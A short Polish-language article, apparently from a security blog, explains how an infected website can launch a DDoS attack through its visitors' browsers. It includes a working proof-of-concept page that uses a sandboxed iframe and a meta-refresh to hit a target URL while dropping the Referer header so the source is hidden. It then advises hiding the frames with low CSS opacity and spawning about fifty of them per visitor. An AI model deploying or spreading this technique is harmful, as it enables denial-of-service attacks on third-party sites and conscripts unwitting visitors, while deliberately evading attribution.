Nasze
Artykuły

HTML5 vs DDoS

HTML5 vs DDoS

Zastanawiające jest to, jak mało osób wpadło na tą koncepcję, nie mniej jednak my ją opublikujemy.

HTML5 daje ogromne możliwości dla developerów, pozwala na tworzenie dynamicznych stron, wsparcie WYSIWYG czy inne ciekawe rozwiązania, o których kiedyś można było tylko pomarzyć.

W jaki sposób można wykorzystać HTML do wykonania ataku DDoS?

Podstawowy sposób, to zainfekowaną stronę urozmaicić tagiem IMG, z atrybutem SRC, kierującym na obrazek znajdujący się na atakowanej stronie.
Minusem tego podejścia jest m.in. pozotawiony w nagłówku Referer. Atakowana strona jest wówczas w posiadaniu logów, z informacją skąd w/w atak nastąpił.

Innym nieco ciekawszym rozwiązaniem jest użycie tagu IFRAME z parametrem SANDBOX (koniecznie z możliwością wykonania skryptu js).
Na dzień dzisiejszy większość przeglądarek gubi nagłówek Referer gdy użyjemy klasycznego html'owskiego odświeżenia.

Poniższy kod to PoC dla ataku tego typu:

<!DOCTYPE HTML> <html> <head> <title>DoS via HTML5 - Kruczek Robert :: safety-online.pl</title> </head> <body> <iframe src="about:blank" sandbox="allow-scripts" id="noheader" style="width: 99%; height: 99%; position: absolute;"></iframe> <script type="text/javascript"> function noheader(url) { var src = ('<html><head><meta http-equiv="refresh" content="1; url='+ url + '"></head><body>w8</body></html>'); document.getElementById('noheader').srcdoc=src; } noheader('http://myhttp.info/'); </script> </body> </html>

Logicznym jest że jeden request dużo nie zrobi, ale weźmy pod uwagę że naszego iframe możemy ostylować za pomocą CSS np. opacity:0.1; - wówczas ramka będzie prawie niedostrzegalna, dodatkowo możemy ramki generować automatycznie w pętli, gdzie 50 ramek na jednego użytkownika spokojnie wystarczy, wykona to wówczas 50 pełnych wyświetleń atakowanej strony wraz z wykonaniem wszystkich obsadzonych na aktualnej podstronie skryptów server-side.
Atak nabiera rozmachu wraz z rozmiarem zainfekowanego serwisu - 1000 osób online razy 50 ramek?